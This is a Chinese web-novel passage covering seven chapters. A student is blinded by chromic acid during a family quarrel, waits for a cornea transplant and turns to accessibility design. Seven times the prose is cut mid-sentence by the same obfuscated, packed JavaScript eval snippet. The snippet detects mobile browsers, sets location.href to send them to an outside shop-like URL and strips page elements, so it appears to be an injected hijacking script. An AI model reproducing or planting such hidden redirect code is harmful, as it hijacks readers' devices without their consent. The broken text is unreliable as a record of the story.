《[足球]绿眼睛》 1. 冲突和遮掩 “鲍尔教授说这个项目很适合作为教学案例,让我们每个人交一版设计上去。”林罗,或者说,多纳贝德,用筷子在空中比划着,语气里带着点小得意,妈妈没忽视她的中文教育,只要别说太快,她都能跟得上,“他说我的设计挺有想法,就是还需要稍微深化一下——” “嗯,我们罗罗当然厉害。”姥姥笑眯眯听着,不时给她碗里夹一筷子菜。 多贝顺手把自己不爱吃的洋葱扒拉到碗边,往嘴里塞了几块肉,咽下去才继续说:“莉娜买了本新的爱情小说,前段时间通宵看了一夜,黑眼圈快落到下巴上!” “罗罗,别挑食,把洋葱吃了。”妈妈林漱石注意到她的小动作。 舅舅,林树海,带着一点不以为然地接话:“她爱吃什么就吃什么呗,难得回国一次,平常你们在德国想吃也吃不到这个味儿。” “我没不让她吃,我是让她别挑食。”林漱石的筷子在空中顿了一下,脸色不太好看。 “我知道你什么意思,但是她放假放松一次又怎么了?”林树海脸色也沉了下来,目光没看姐姐,只是盯着自己碗里的饭。 多贝的话就暂时憋在了嗓子眼儿——那种熟悉的、微妙的紧绷感,从母亲和舅舅两个人之间蔓延。 “啪。” 姥姥的筷子不轻不重地敲在桌面上,发出一声响。 “爱吃吃,不爱吃闭嘴。”姥姥眼皮都没抬,好像对两个人之间的冲突已经习以为常,“多大的人了,在孩子面前吵吵,丢不丢人。” 餐桌上安静了两秒。 多贝飞快地扒拉了两口饭,把洋葱和肉片都塞进嘴里:“我都吃我都吃!我没有不爱吃的,姥姥做的我都爱吃!” 她快速嚼了几口努力咽下去,试图用更欢快的声音和新的话题冲散那点还没完全消散的凝滞的氛围,“啊对了,我有没有跟你们说过,马克斯的课堂展示又没通过,他已经补了两次了!还有,我上周还买了一个新的包…” 她絮絮叨叨地讲和朋友们愉快的日常,那点微小的冲突,被她用一连串叽叽喳喳的话轻轻地盖了过去,像用布遮住裂痕。 饭后,多贝跟着舅舅钻进了他的小工作间。 这里是多贝从小到大的“探险宝库”,新与旧在这里交汇,显微镜旁边散落着几根柳木条和一把忘记收起来的钟表锤,空气中弥散着陈旧的金属气息和油脂固化的味道,还有一丝很淡但是无法忽视的化学试剂的酸涩气味。 多贝坐在工作台旁的高脚凳上,看着舅舅拆开那个——叫什么?她记不住那么长的名字,大概是什么镀金摆钟的什么动偶机构——舅舅说整点报时时这个东西就会转动敲钟。 林树海拿来一个透明的玻璃瓶,倒出一部分液体到玻璃皿中把零件淹没,将半掩的瓶子放在架子高处。气泡从零件底部升起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326720|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等待去污的时间里,多贝溜达到角落,那里堆放着一些杂物和舅舅的小手工,她准备扒拉扒拉看看最近有没有“上新”。几块形状奇怪的石头,好玩,一会儿问问舅舅能不能给自己;一根黄铜音叉,多贝敲了敲,感觉这大概是个失败品,震动混乱;放大镜,手柄是用齿轮拼接形成的,很酷…多贝目光停住,看着面前的装置。 她知道那是什么。滚珠计时器。妈妈书房的柜子里,最深的那个角落有一个落灰的小盒子。小时候她曾经翻出来过,盒子里装着一些碎片——一颗滚珠,玻璃碎渣,变形的金属轨道。她曾经好奇那是什么,长大后她才知道,那是妈妈和舅舅之间某种东西的残骸。 “舅,”她握着那个计时器,沉默了一会儿,轻声开口,“你和我妈以前……” “过去的事情就不要说了。”林树海打断她,灯光在他脸上投下一道阴影,多贝看不清他的脸色:“过去了就过去了,没必要一直提。”他转过身,继续拆解那个多贝叫不出名字的摆钟。 多贝张了张嘴,还想说什么,但门被推开了。 林漱石探头进来招呼两人,语气轻松:“歇会儿吧,回屋吃点水果。反正那些东西一时半会儿也修不完。” 多贝握着那个计时器,没有再说下去,只是笑着问妈妈:“都有什么好吃的?” “苹果,蓝莓,反正你姥买的都是你爱吃的。” 2. 意外 2002年12月27日。这是一个会在以后无数个日夜,她会反复提起、确认的一个日期,那个玻璃瓶、计时器,和那句没有问完的话,终将被烙印在生命的坐标轴上。 这是一场意外。 多贝跪坐在冰冷的地面上,双手死死捂住剧痛的眼睛,清晰地意识到这一点。指缝间还残留着滑腻的触感,不知是挥发的铬酸洗液,还是生理性涌出的泪水。 一切都乱了。耳边灌满了声音:舅舅颤抖的、语无伦次的惊呼(“罗罗?你别动!水!哪有水?”),母亲从胸腔深处撕裂开来的、不似人声的哭泣与尖叫。她想开口,试图从喉咙里挤出一点声音告诉他们“我没事,别吵了”,试图像过去无数次那样,成为这对双胞胎之间那道缓冲与粘合的屏障。 但她做不到。 眼睛睁不开,从指缝漏进来的光线带来的是更强烈的痛感。色彩、形状、边界……她所熟悉的一切视觉法则都失效了。像隔着毛玻璃。唯一能清晰感知的,是眼球深处一路烧进神经里的剧痛。 今年的圣诞假期,她满怀雀跃跟着母亲回到中国老家。她想念舅舅,想念姥姥,她知道母亲和舅舅之间有一道裂痕,落满灰尘无法愈合。但是她觉得自己可以做他们之间的缓冲剂。 起初一切顺利得超乎想象。她叽叽喳喳地讲着慕尼黑的生活:被鲍尔教授选中的惊喜,那个广场设计项目里哪怕只是打杂也让她兴奋不已的细节,莉娜和马克斯又闹了什么笑话,还有她背包家族的新成员……母亲和舅舅坐在同一张饭桌上,气氛有些隔阂,但至少是平静的。 直到她钻进舅舅那间工作室。然后是母亲推门进来。 转折发生得毫无征兆——多贝不知道是谁先起的头,也许是舅舅说了一句什么,也许是母亲的回应太冷了。她只看见两个人的脸色同时变了。积压了半生的悔恨、伤痛与未能说出口的责难,在两个同样骄傲、同样固执、同样被往事啃噬的灵魂之间瞬间引爆。声音开始拔高,那些她来不及听不懂的中文词,像石头一样砸来砸去。她想拦住他们,用身体隔在他们中间,喊“别吵了”——然后,混乱中,有人推了她一把。 不知是母亲还是舅舅,亦或是两人都有。她失去了平衡,向后踉跄,撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326721|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了舅舅身后那个摆放着各种溶剂与工具的木质架子。 “哗啦——” 架子上,那些本用于让文物重获新生的化学试剂,在这一刻却成了最残酷的魔鬼。那只玻璃瓶——半掩着放在高处——在空中撒出一道不详的弧线——透明的、冰凉的液体,带着刺鼻的气味,如同慢镜头般,朝她的脸倾泻而下。 像是碎玻璃混合着强酸被按在眼球上摩擦、灼烧。眼泪在瞬间流出,试图冲散入眼的试剂,但没什么用。 她跌坐在地,发出了一声短促而凄厉的惨叫——她不想叫的,但生理的极端痛苦压垮了意志。 等到混乱的噪音(哭声、喊声、奔跑声、撞倒东西的声音)稍微退潮,她被人七手八脚抬起、运送,消毒水的气味强势地盖过了一切。耳边是医生在快速说着什么,混合着母亲压抑不住的抽泣和舅舅沉重的呼吸。 眼睛火烧火燎地疼,世界只剩模糊晃动的光斑。 一个突兀但清晰的念头,在此时显得有些可笑但不容忽视地蹦了出来: 完蛋了—— 我的小论文,才刚开了个头…… 3. 移植和壳子 等待处理的时间被拉得无比漫长。林漱石和林树海已经历了一场筋疲力尽的循环——先是对彼此淬毒的指责,从破碎的词语升级为母语中最为尖锐的诅咒,每一个音节都带着将对方也一同拖入地狱的怨恨;然后,不知是谁先起的头,那愤怒的堤坝骤然溃塌,化为崩溃的泪水。情绪像过山车般冲上愤怒的顶点,又坠入自责的深谷,最后只剩下麻木的、相对而泣的疲惫和恐惧。直到医生拿着报告走出来,那短暂的、近乎残忍的平静才被彻底打破。 “家属?”医生的开场白没有任何缓冲,“患者双眼角膜铬酸烧伤,全层浑浊。我们做了紧急处理,但损伤在接触的那几秒就已经完成了。她现在视力基本没有,仅剩光感。” “什么叫基本没有?有就是有,没有就是没有,什么叫基本没有?”林树海声音尖锐,跳起来想冲上去却被林漱石拽住。 医生没有生气,他见过太多这样的反应,“这已经算是幸运,视网膜和视神经还有功能。只是角膜浑浊,能看到光,但是看不见别的东西” “医生,那…那以后…”林漱石嘴唇动了动,“失明”这个词梗在喉间吐不出来。 “要恢复视力,只能做角膜移植。” 多贝听见房门打开和一阵混乱的脚步声,她感觉到自己的手被母亲和舅舅紧紧攥住,手有些疼,但她已经没力气去分辨那是愧疚还是害怕,或者别的什么。 病房里逐渐只剩下两种声音交替响起:压低嗓音的、急切的通话声,以及快速敲击屏幕、发送邮件的细碎声响。有人在打电话,英语、德语、中文交错,声音压得很低,但语速快得像在发射子弹,只能模糊捕捉到几个单词。另一个声音在低低念着什么,像是邮件地址。以及不知道谁发出的压抑的抽泣声。 多贝躺在床上。 耳边那些焦急的、恳求的、讨论的声音,渐渐模糊成了无意义的背景噪点,嗡嗡作响。她感觉自己好像轻飘飘地浮了起来,脱离了这个充斥着刺鼻药水味和沉重喘息的身体,隔着一层厚厚的、透明的玻璃罩子,在观看一场与自己无关的默剧。剧里的人焦急万分,剧里的那个女孩双目空洞——那是她吗?好像不是,可偏偏她又长着和自己一样的面容。 她转动着还能感知光线的眼睛,努力“看”向头顶那片感觉最明亮、最均匀的区域。她知道那里应该是医院常见的、长条形的日光灯管。她用力地瞪着,试图从那片混沌的光晕中分辨出一点形状,哪怕是一条模糊的边界。她瞪得眼睛发酸、发涩,瞪到有温热的液体不受控制地顺着眼角滑落,流进鬓发里。视野里,依然只有那片固执的、无法穿透的光雾。 “喀啦——” 她好像听到了一声轻微的、只有她自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326722|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能感知的碎裂声。那层保护了她不知多久的、隔离一切情绪的透明壳子,突然布满了蛛网般的裂纹,然后彻底崩碎了。 所有被隔绝的声音、气味、触感,现实冰冷的空气、消毒水的气味、耳边压抑的交谈声、身体下方床单的粗糙触感、还有眼底那片永恒的光雾……所有的感知如同潮水般涌回,砸在她的每一寸感官上,压在她的心脏上。 喉咙里先溢出一声细微的、气音般的呜咽。 “……妈妈?” 她小声地叫,声音哑得自己都陌生。 然后,所有强装的镇定、抽离的茫然、积蓄了几天的惊恐、无助、以及对眼前这片无尽混沌的愤怒,找到了一个决堤的出口。 “妈妈……” “妈妈……我……” 最后,变成了一声彻底崩溃的、撕心裂肺的哭喊,刺破了病房里所有故作坚强的假象: “妈妈——我看不见!!!” 这声哭喊里,它赤裸裸的,只剩下一个孩子最原始的恐惧,和对自己被突然抛入的、无边黑暗世界的确认。 世界仿佛静止了一秒,然后,两个大人几乎是扑到床边,将床上那具因为恐惧和崩溃而剧烈颤抖的身体紧紧搂住。自责、心痛、无边的爱和同样深不见底的绝望,将他们三人牢牢捆缚在一起,沉入命运掷下的黑暗里。 4. 漂浮和落地 情绪像退潮后的沙滩,留下湿冷的沙子和混乱的贝壳碎片。她听见母亲背过身去,极力压抑却仍泄露出来的哽咽,她想,她应该安慰妈妈,说“别难过,这只是意外”;她听见舅舅每次进来,都会用沙哑的声音重复着“罗罗,舅舅对不起你……”,她想,她应该告诉舅舅“别自责,这只是意外”;她听见姥姥风尘仆仆赶来,先是抱着她心肝肉地哭,接着便毫不留情地痛骂妈妈和舅舅,她想,她应该阻止姥姥,然后轻松地说“姥姥别骂他们啦!这只是个意外!而且等找到配体,我很快就能好啦!” 但是她什么也说不出来。她被一种透明的、沉重而粘稠的东西紧紧包裹住。这感觉很奇怪——她能清晰地思考,甚至过于清晰:她知道发生了什么,知道接下来要等待移植,知道每个人都很痛苦。但所有这些认知都浮在表面,无法与她深处的某种东西融合。她从未想过“失明”这两个字会和自己产生关联。世界不再是她熟悉的样子,连她自己的身体都变得陌生而不听使唤。她开始拒绝母亲和舅舅的过度看护,固执地尝试着靠自己去摸索,想找回一点“正常生活”的节奏。 结果有点失败。 第一天,她在试图去洗手间时,被垂落的输液管绊住。她本能地一挣——一阵尖锐的疼痛从手背传来,随即是液体滴落的啪嗒声。 第二天,她更加小心地摸索着前进。手在空中试探,脚缓慢地挪动。她以为自己已经避开了所有障碍,却在转身时,膝盖狠狠撞上了陪护椅的铁质扶手。“砰”的一声闷响,她跪倒在地上。 第三天,她掌握了基本的方向感,能自己走到洗手间了。但站在马桶前,她遇到了新的难题:她无法准确判断距离和位置。第一次,她坐空了,半个屁股磕在马桶边缘,狼狈地扶住墙才没摔倒。第二次、第三次……她需要用手小心地摸索确认,调整角度,缓慢坐下。她在卫生间里安静地坐了一会儿,双手死死按住眼眶,好像这样就能把眼泪堵回去。 在又一次踢到桌角后,她带点自嘲地想,我简直就是用身体检验建筑质量,很显然,它们质量合格了,但是人文关怀就是狗屎。她把这个想法讲给家人听,语气带上一点她平时讲笑话时的轻松跳跃。但回应她的,只有更长久的沉默,和更沉重的呼吸声。 几秒钟后,母亲用极其压抑的声音说:“……别这么说,罗罗。” 没有笑。连一丝试图配合的笑意都没有。 不好笑吗?她有点困惑地想,看来我可能真的没什么讲冷笑话的天赋。 这种古怪的压抑氛围,以及她与周遭世界之间那层重新凝固起来的、冰冷的隔膜感,一直持续着。 直到被一声完全失控的嚎哭彻底打破。 是爸爸。菲利克斯·魏丝在得知消息后以最快速度处理好手头事务,飞越了半个地球,带着一身机场的冷风和慕尼黑冬末的寒意,像一阵旋风般冲进了病房。他甚至没来得及看清病房里的其他人,目光直接锁定床上的多贝,然后,这位素来情感丰沛的教授,毫无形象地、像孩子一样放声嚎哭起来。 他扑到床边,一把将多贝紧紧搂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326723|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进怀里,仿佛要确认她的存在。滚烫的眼泪瞬间濡湿了多贝病号服的肩头。他的声音因为极致的悲伤和长途飞行的疲惫而有些含糊不清,翻来覆去地念叨着:“Mein armes Dobe… mein armer Schatz… mein kleines M?dchen…”(我可怜的多贝,我可怜的宝贝,我可怜的小姑娘……) 那哭声如此直接,如此不加掩饰,如此鲜活。冲散了病房里连日来积郁的、小心翼翼的痛苦与自责。多贝听着爸爸因为哭泣而变得断断续续、语法都有点混乱的德语,突然有一种奇异的、久违的感觉从心底钻了出来。 有点好笑。 这感觉似乎有些不合时宜,但她还是笑了出来,先是鼻子里的一声气音,那笑声很轻,混在爸爸响亮的抽噎里几乎听不见,然后变成了低低的、清晰的笑声。 她张开手臂,回抱住这个哭得一塌糊涂的男人,她的手拍着他因为哭泣而不断起伏的背,一下,又一下,节奏稳定,像在安抚一个受惊的孩子。 “Papa, es ist in Ordnung. Mach dir keine en. Es war nur ein Unfall.” (爸爸,没关系。别担心我了。这只是一场意外。) 那些在脑海里盘旋了许多天、却始终无法说出的句子,那些“只是意外”、“别难过”、“会好的”……此刻,如此自然地流淌了出来: “这只是一场意外。” 5. 皇帝和骑士和版图 手续都已办妥,登记表上填上了“多纳贝德·魏丝”的名字,像两张等待命运抽签的彩票,分别投进了中国和德国的医疗系统里。现在能做的,只有等待。两周后医生宣布可以出院,回家静养,等待配体消息。 多贝坐在家里的沙发,心里冒出一个念头: 这其实还蛮爽的。 这个念头让她自己都愣了一秒,随即,一种带着点罪恶感的、隐秘的快乐开始发酵。她意识到,自己获得了某种“特权”。 她,多纳贝德·魏丝,简直是家里的“皇帝”! 姥姥绞尽脑汁复刻她记忆里所有咸鲜口味的中式点心,椒盐酥、葱油饼……厨房里整天飘着诱人的复合香气。妈妈和舅舅,这对固执的双胞胎,此刻达成了空前(且可能绝后)的统一战线:言听计从,百依百顺。她任何一个微小的需求,都能引来两人争先恐后的响应,那小心翼翼、唯恐服务不周的态度,让她几乎要产生自己是什么国宝的错觉。 当然,朝中还是有“诤臣”的。爸爸菲利克斯就是那个唯一还保持着(部分)理智的人。他会拦住姥姥,用他磕巴的中文,搬出医嘱:“凤,医生说暂时要清淡,这个太油了。” 他也会在妈妈和舅舅即将无条件答应她那些明显异想天开的请求时(比如她兴致勃勃宣布要把头发、睫毛甚至眉毛都染成荧光绿——“我想这样做很久了!”),及时把话题拉回现实,低声用德语或磕绊的中文解释可行性,再哄着多贝换一个更实际点的“愿望”。 感谢科技!这是多贝近期最真诚的感慨。智能手机和电脑的读屏软件,成了她连接外界的脐带。她开始沉迷于用耳朵“阅读”各种小说,声音构筑的世界同样波澜壮阔。更让她惊喜的是,她发现了一个新大陆:盲人游戏。第一次通过屏幕阅读器和音效引导,摸索着和天南海北的网友打上一局“盲人麻将”时,那种通过“听”牌、“记”牌、用语音出牌带来的全新的策略乐趣,让她兴奋得几乎忘了时间。直到妈妈半夜不放心来查房,看到她还在戴着耳机,手指在屏幕上飞快滑动,嘴里念念有词“三万,碰!”,才被强行“缴械”,勒令睡觉。不过临睡前,她心满意足地和今晚新认识的几位牌友加了好友,约好了“明天再战”。 她开始用听觉和触觉重新“认识”世界。 小时候,她曾闭着眼睛,在盲道上摇摇晃晃地走过,当作一种游戏。那时只觉得有趣,走着走着就歪了,最后笑着扑进等待的家人怀里。现在,她“身临其境”了。盲道不再是一个游戏道具,而是她脚下真实不虚的路径。她练习如何使用盲杖——舅舅给她买的那根,据他描述,是铝合金材质,银白色,杖身有几道优雅的凹槽防滑,杖头是耐磨的白色尼龙。多贝听完,立刻给它赐名“白骑士”。 “以后,你就是我的骑士了,”她抚摸着冰凉的杖身,对“白骑士”说,“为我开疆拓土吧。” 不过,“白骑士”的最初的探索有点坎坷,她还不清楚如何用它探测前方的地形变化,不是戳到了墙角,就是漏掉了低矮的障碍。 她还开始学习盲文。起因是几位热心的盲人网友向她推荐了几本“写得特别棒,但暂时没有高质量音频版”的小说,勾得她心痒难耐。对照着触感鲜明的点位图,一个字母一个字母地摸索、记忆、拼写。指尖按压出凸点的触感,成了她连接另一个信息世界的密码。 她斟酌着用词,给鲍尔教授发去邮件,说明了突如其来的意外和不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326724|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不中断学业的遗憾,字里行间充满歉意。鲍尔教授的回信很快,充满了长辈的关切和学者的务实。他在表达惋惜的同时,笔锋一转: “……你的经历是独特且宝贵的。我向你推荐我的同事,埃莱奥诺雷·格吕恩教授(Eleonore)。她的研究方向是包容性设计与无障碍环境建设,或许能为你打开一扇新的窗。我已将你的情况和我的推荐信发给了她。保持联系,多纳贝德,世界以不同的方式向每一个人展开。” 这封邮件像黑暗中递来的一支火把,虽然微弱,却清晰地照亮了一个可能的方向。 朋友们慰问的电话、邮件、礼物络绎不绝。最初那几天,她接电话、回信息,解释情况,接受安慰,马克斯和莉娜的跨国电话一个比一个咋呼,在最开始的几天,她说到嗓子都哑了,一遍遍地向每一个关心她的人描述“我很好,真的,只是需要等个手术”,“不疼,就是有点不方便”,“哈哈,对,我现在是‘闭眼玩家’了”。回答完这一个,下一个又来了。等她终于挂断马克斯和莉娜的第三个电话,听到语音报时才发现已经到了晚上。她愣了一会儿,想不起今天什么时候想过‘我看不见’这件事。 白骑士开拓出的版图在不断扩大从家附近逐渐蔓延至更多的场合——公园、车站或者商场。这个过程并不一帆风顺——“白骑士”总有判断失误的时候,还有摸得手指发麻也记不住的盲文组合,失去视觉导航的日常依旧充满小小的挫败。 但每当她感到些许沮丧时,总会有一双手适时地递来一杯温水,或是响起一声小心翼翼的询问,或是一个来自远方的、插科打诨的搞笑语音消息。世界以一种嘈杂而温暖的方式,不容分说地推着她往前走。 6. 探索和反思 新奇感和探索欲像一层暂时隔绝痛苦的糖衣,随着时间推移,在日常的磕绊中渐渐融化。随后,那些真实存在的问题,开始露出其坚硬而粗糙的棱角。 “白骑士”的杖头,不止一次在理应连贯的盲道上,突兀地中断。多贝停下来,蹲下身摸索,指尖触到的是冰冷光滑的地砖,或是粗糙不平的碎石路面。盲道消失了,像一个被随意掐断的句子,把她孤零零地抛在路中央。有时,它会被一辆自行车、一个货摊、甚至是一排随意停放的共享单车彻底占据。她不得不像个探险家一样,绕开这些“路障”,在陌生的空间里重新定位,寻找那条可能根本不存在的、断续的“安全路径”。 更令她感到讽刺的是那些盲文标识。在银行、医院、地铁站的某些地方,她摸到过它们。有些凸点已经模糊不清,被无数次触摸或岁月磨平了棱角,像一本被翻烂了关键页的书;有些盲文的点位完全无法拼读,中英混杂,甚至就是毫无意义的乱码;有些则干脆是平的——只是印刷上去的、给明眼人看的盲文图案。她的指尖划过那些光滑的、毫无信息量的“点”,第一次如此清晰地认识到,这根本不是给盲人阅读的,这是一场精心设计的、面向健全人的“关怀表演”。它们无声地宣告着:这里的“无障碍”,只是一个敷衍的、未被严肃对待的概念。 因为盲人看不见,所以他们就从未被看见吗?多贝这样想着。 她开始记录。在心里反复咀嚼。每一次失败,每一次受阻,每一次触摸到那虚伪的“关怀”,都像一根细针,扎在她的专业自尊上。 她第一次开始认真反思自己以前交上去的那些设计作业,或是参加竞赛时那些自以为兼具美学与“人文关怀”的作品。那些流畅的线条、和谐的色彩、充满“隐喻”的空间布局……除了美,除了自我感动,除了满足课程要求和评委眼光,它们真的帮到那些有实际需要的人了吗?还是说,它们和自己此刻触摸到的这些流于形式的“设计”一样,不过是健全世界一次傲慢的“施舍”或敷衍的交代? 她将自己的观察、体验、困惑和初步的反思整理成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326725|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文,第一次郑重地联系了格吕恩教授。她尽量冷静地陈述事实、提出问题,并表达了希望对无障碍设计领域产生些微影响的渴望。 格吕恩教授的回信比她预想的更快,也更振奋人心。教授仔细阅读了她的邮件,并对她的观察和思考表示了赞赏。邮件中写道:“……你能在亲身经历中迅速跳出个人情绪,观察到存在的普遍性障碍,这非常可贵。目前的许多‘无障碍设计’确实停留在表面,缺乏真正的使用视角。你的经历是遗憾的,但它可以转化为独特的研究优势——你正处于一个独特的位置。我的团队正在启动一个关于智能触觉导航系统的基础研究项目,我想邀请你加入这个项目,作为研究助理和核心体验者——如果你愿意的话。 收到回信的多贝,那些积压的郁闷和愤怒,被一种明确的、充满力量的目标感所取代。她想要回到德国,想要亲自站在慕尼黑的地铁站、广场、街道上,去“触摸”和“聆听”那座城市,更想要尽快见到格吕恩教授,投身到那个听起来就激动人心的项目中去。 7. 回归、友人和约定 2003年1月27日,距离那场意外刚好过去一个月。 机场,安检口。 姥姥的叮嘱和舅舅沉默的拥抱让多贝离开的脚步都显得有些迟疑。 “罗罗…”,舅舅的声音压得有些变形,多贝不知道应该说什么,最后只是拍了拍舅舅的胳膊。 慕尼黑,施瓦宾格西区,魏丝家。 多贝踏进家门的那一刻,熟悉的气息混合着中央供暖的暖意包裹而来——是属于“家”本身的、无法言喻的安心感。她深吸一口气,路途中积累的疲惫和心底深处那丝面对全新未知的惶然,似乎被稍稍熨平了一些。刚放下行李,还没来得及感受更多,门铃就急促地响了起来。 “肯定是那两个孩子。”林漱石走过去开门。多贝听见她的声音里有一种难得的、近乎放松的柔软。 门刚一打开,两道身影就带着屋外的寒气,像一阵失控的、泪眼朦胧的小旋风般卷了进来。 “多贝——!!!” 莉娜深棕色的短发有点凌乱,蜜色的眼睛里蓄满了泪水,眨眼就滚落下来。马克斯往常他引以为傲的金色头发看起来也没心思打理,那双漂亮的灰色眼眸此刻红得像兔子,贵公子的优雅荡然无存。他们几乎是同时扑上来,一左一右,将多贝紧紧箍在中间。 没有小心翼翼的询问,没有刻意的安慰措辞,只有最直接、最汹涌的情感宣泄。莉娜把脸埋在多贝颈窝,呜呜地哭,肩膀一抽一抽;马克斯则把下巴搁在多贝发顶,眼泪无声地淌,手臂收得死紧。多贝被他们抱得踉跄一步,鼻腔里瞬间冲上酸意。那些在亲人面前努力维持的镇定、在医院里积攒的茫然和偶尔闪过的恐惧,在这一刻,在这两具熟悉的、带着青春热度和泪水的拥抱里,土崩瓦解。 “呜……哇——!” 她张嘴,也加入了这场混乱的哭泣。不是压抑的啜泣,而是放开喉咙,像小时候摔破了膝盖,或者弄丢了最心爱的玩具时那样,毫无形象地、滋哇滋哇地嚎啕起来。 三个年轻人抱成一团,哭得惊天动地,泪水鼻涕糊了一脸也顾不上。他们的哭声并不悲伤,更像一种积压了太久、终于回到安全港后的情绪泄洪,响亮、直白、甚至带着点不管不顾的“吵闹”。 菲利克斯和林漱石站在稍远处,看着这一幕。两人对视一眼,默契地没有再上前,只是轻轻带上了客厅的门,将这片充斥着眼泪、拥抱和青春特有的躁动的空间,完全留给了这三个久别重逢的挚友。 不知过了多久,哭声渐渐平息,变成断断续续的抽噎和用力吸气的声音。三个人还维持着拥抱的姿势,仿佛靠彼此的体温才能确认这一切不是梦。 莉娜第一个松开一点,用手背胡乱抹着脸,抽着鼻子,瓮声瓮气地问:“那……那你现在这样,是不是就不用考试了?也不用写那些烦死人的建筑史论文了?” 她的声音还带着浓重的鼻音。 多贝长长地、夸张地叹了口气,肩膀垮下来。“我也希望是这样啊,莉娜。”她摸索着,准确地在马克斯口袋里(一如既往地)找到一块皱巴巴但干净的手帕,擦了擦脸,“可惜现实残酷。明天,我就要去学校的残疾人支持部,面试学习助理。等助理派下来,我就要开始准备补课了……” 想到那些落下的课程和即将到来的考试,她感到一阵熟悉的、属于学生的压力。 马克斯原本还在抽泣,闻言立刻抬起泪痕狼藉的脸,眼睛里闪过一丝熟悉的、带着幸灾乐祸的“同情”:“哇哦……所以,你这个寒假,其实相当于……没有?” 他吸了吸鼻子,努力想让自己的声音听起来充满真挚的怜悯,“你好惨,多贝,我真的好同情你……” 然而,那拼命上扬的嘴角和与莉娜迅速交换的、带着幸灾乐祸的光芒的眼神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326726|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底出卖了他。两个人几乎是同时,从喉咙里发出“吭哧吭哧”的、极力压抑却失败的闷笑声。 多贝“愤怒”地一人给了一拳(力道很轻):“讨厌鬼!” 笑闹间,最后一点悲伤沉重的气氛也被冲散了。 那天晚上,莉娜和马克斯理所当然地留了下来。马克斯抱来被褥,熟练地在多贝房间厚实的地毯上打好地铺(“老位置,公主殿下们。”),莉娜则挤上了多贝的床。房间的灯调到了柔和的暖黄,三个从小一起长大的朋友,像无数次童年和少年时代的夜晚那样,开始了漫无边际的卧谈。 